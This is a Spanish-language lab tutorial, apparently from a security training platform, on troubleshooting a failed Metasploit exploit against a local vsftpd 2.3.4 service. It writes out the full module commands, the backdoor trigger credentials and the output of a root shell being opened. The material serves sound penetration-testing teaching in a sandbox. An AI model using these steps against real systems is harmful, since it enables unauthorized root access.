Solucionar un exploit fallido en Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

Metasploit es un potente framework de pruebas de penetración que simplifica el hacking. Sin embargo, incluso con las mejores herramientas, los exploits pueden fallar por diversas razones: información incorrecta del objetivo, un sistema parcheado o problemas de red. Saber diagnosticar y solucionar estos fallos es una habilidad crítica para cualquier profesional de la seguridad.

En este laboratorio, aprenderá el flujo de trabajo básico para solucionar problemas de un exploit fallido en Metasploit. Configuraremos intencionadamente un exploit de forma incorrecta, observaremos el fallo y luego utilizaremos las herramientas integradas de Metasploit para identificar y corregir el problema. Aprenderá a utilizar comandos como show options, check y la configuración Verbose para obtener la información que necesita para tener éxito.

Para este laboratorio, se ha iniciado un servidor FTP vulnerable en segundo plano en su máquina local, que servirá como nuestro objetivo.

Seleccionar un exploit y configurar opciones incorrectas

En este paso, iniciaremos la consola del Metasploit Framework, seleccionaremos un módulo de exploit y lo configuraremos intencionadamente con una opción incorrecta para simular un error común del usuario. Esto preparará el escenario para el proceso de solución de problemas.

Primero, abra su terminal e inicie la consola de Metasploit. Usamos la bandera -q (quiet) para omitir el banner y acelerar el proceso de carga.

msfconsole -q

Una vez que esté en el prompt msf6 >, buscaremos un exploit dirigido al servicio vsftpd.

search vsftpd

Verá una lista de módulos. Estamos interesados en exploit/unix/ftp/vsftpd_234_backdoor. Seleccionémoslo usando el comando use.

use exploit/unix/ftp/vsftpd_234_backdoor

Su prompt cambiará para indicar que el módulo de exploit está ahora activo. Ahora, necesitamos configurar el objetivo. La opción más importante es RHOSTS, que significa Remote Hosts (Hosts Remotos). Deliberadamente la estableceremos a una dirección IP incorrecta.

set RHOSTS 192.168.1.100

Verá una confirmación de que RHOSTS ha sido establecido. Ahora hemos preparado un exploit que garantizadamente fallará.

Ejecutar el exploit y observar el mensaje de fallo

En este paso, ejecutará el exploit mal configurado y aprenderá a interpretar el mensaje de fallo resultante. Esta es la primera y más crucial parte de la solución de problemas.

Con el exploit vsftpd_234_backdoor seleccionado y el RHOSTS incorrecto establecido, intentemos ejecutarlo. Puede usar el comando run o exploit.

run

El exploit intentará conectarse a la dirección IP que proporcionamos (192.168.1.100). Dado que este host no es accesible desde el entorno del laboratorio, el exploit fallará. Verá una salida similar a esta:

[*] 192.168.1.100:21 - The target is not exploitable.
[*] Exploit completed, but no session was created.

El mensaje The target is not exploitable (El objetivo no es explotable) o un mensaje de error de conexión similar es un claro indicador de que Metasploit no pudo alcanzar o interactuar con el servicio objetivo. Esto nos dice que el problema probablemente está relacionado con la red o la configuración del host objetivo.

Usar el comando show options para revisar la configuración

En este paso, después de ver un fallo, la primera acción lógica es revisar nuestra configuración. El comando show options es la herramienta principal para esta tarea. Muestra todos los parámetros configurables para el módulo actual.

Verifiquemos las opciones que hemos establecido para nuestro exploit.

show options

Este comando mostrará una tabla de opciones para el exploit vsftpd_234_backdoor:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting    Required  Description
   ----    ---------------    --------  -----------
   RHOSTS  192.168.1.100      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21                 yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Observe detenidamente el Current Setting (Configuración Actual) para RHOSTS. Es 192.168.1.100, que sabemos que es incorrecto. El servicio vulnerable para este laboratorio se está ejecutando en la máquina local. La dirección IP para la máquina local es 127.0.0.1.

Corrijamos el valor de RHOSTS.

set RHOSTS 127.0.0.1

Ahora, si ejecuta show options de nuevo, verá que el valor de RHOSTS se ha actualizado correctamente.

Usar el comando check para probar la explotabilidad

En este paso, aprenderá a usar el comando check. Antes de ejecutar un exploit, a menudo es prudente verificar si el objetivo es realmente vulnerable. El comando check le permite hacer esto de forma segura, sin ejecutar realmente la carga útil del exploit. Tenga en cuenta que no todos los módulos admiten esta función.

Ahora que hemos corregido la opción RHOSTS, usemos check para ver si Metasploit cree que el objetivo es vulnerable.

check

Si el objetivo está configurado correctamente y el servicio es vulnerable, debería ver un mensaje de confirmación positivo.

[*] 127.0.0.1:21 - The target is vulnerable.

Este mensaje, The target is vulnerable (El objetivo es vulnerable), nos da una alta confianza de que el exploit tendrá éxito cuando lo ejecutemos. Confirma que Metasploit pudo conectarse al objetivo y verificar la presencia de la puerta trasera. Si hubiera fallado, necesitaríamos investigar más, pero por ahora, esta es una muy buena señal.

Establecer la opción Verbose a true y volver a ejecutar para más detalles

En este paso, aprenderá sobre la opción Verbose. A veces, incluso cuando check tiene éxito, un exploit puede fallar. Para obtener más información sobre lo que está haciendo el exploit detrás de escena, puede habilitar el registro detallado (verbose logging). Esta es una configuración global que afecta a todos los módulos.

Habilitaremos el modo detallado usando el comando setg, que establece un valor globalmente.

setg Verbose true

Ahora, con el modo detallado habilitado y el RHOSTS correcto, ejecutemos el exploit nuevamente.

run

Esta vez, verá una salida mucho más detallada. El registro detallado le muestra el proceso paso a paso del exploit, incluyendo los intentos de conexión y los datos que se envían. Lo más importante es que el exploit debería tener éxito ahora.

[*] 127.0.0.1:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 127.0.0.1:21 - USER: Sending "USER back:)"
[*] 127.0.0.1:21 - PASS: Sending "PASS moor"
[+] 127.0.0.1:21 - Found shell.
[*] Command shell session 1 opened (127.0.0.1:43999 -> 127.0.0.1:6200) at 2023-10-27 10:00:00 -0400

¡Éxito! El mensaje Command shell session 1 opened (Sesión de shell de comandos 1 abierta) confirma que ha comprometido con éxito el objetivo. Ahora tiene un shell de comandos en el sistema remoto. Puede probarlo ejecutando un comando simple como whoami.

whoami

Debería ver la salida root. Para salir del shell y volver al prompt de Metasploit, presione Ctrl + C o escriba exit.

Resumen

¡Felicitaciones por completar el laboratorio! Ha aprendido con éxito el proceso fundamental para solucionar problemas de un exploit fallido en el Metasploit Framework.

En este laboratorio, practicó un enfoque sistemático para la resolución de problemas:

  1. Observar el fallo: Primero ejecutó un exploit mal configurado para ver cómo fallaba.
  2. Revisar opciones: Utilizó show options para inspeccionar la configuración e identificar un valor incorrecto en RHOSTS.
  3. Verificar vulnerabilidad: Utilizó el comando check para verificar de forma segura que el objetivo era vulnerable después de corregir la configuración.
  4. Obtener más detalles: Aprendió a usar setg Verbose true para obtener una salida detallada paso a paso, lo cual es invaluable para diagnosticar problemas más complejos.

Estas habilidades fundamentales le ayudarán a superar obstáculos comunes y a utilizar Metasploit de manera más efectiva en sus actividades de pruebas de penetración.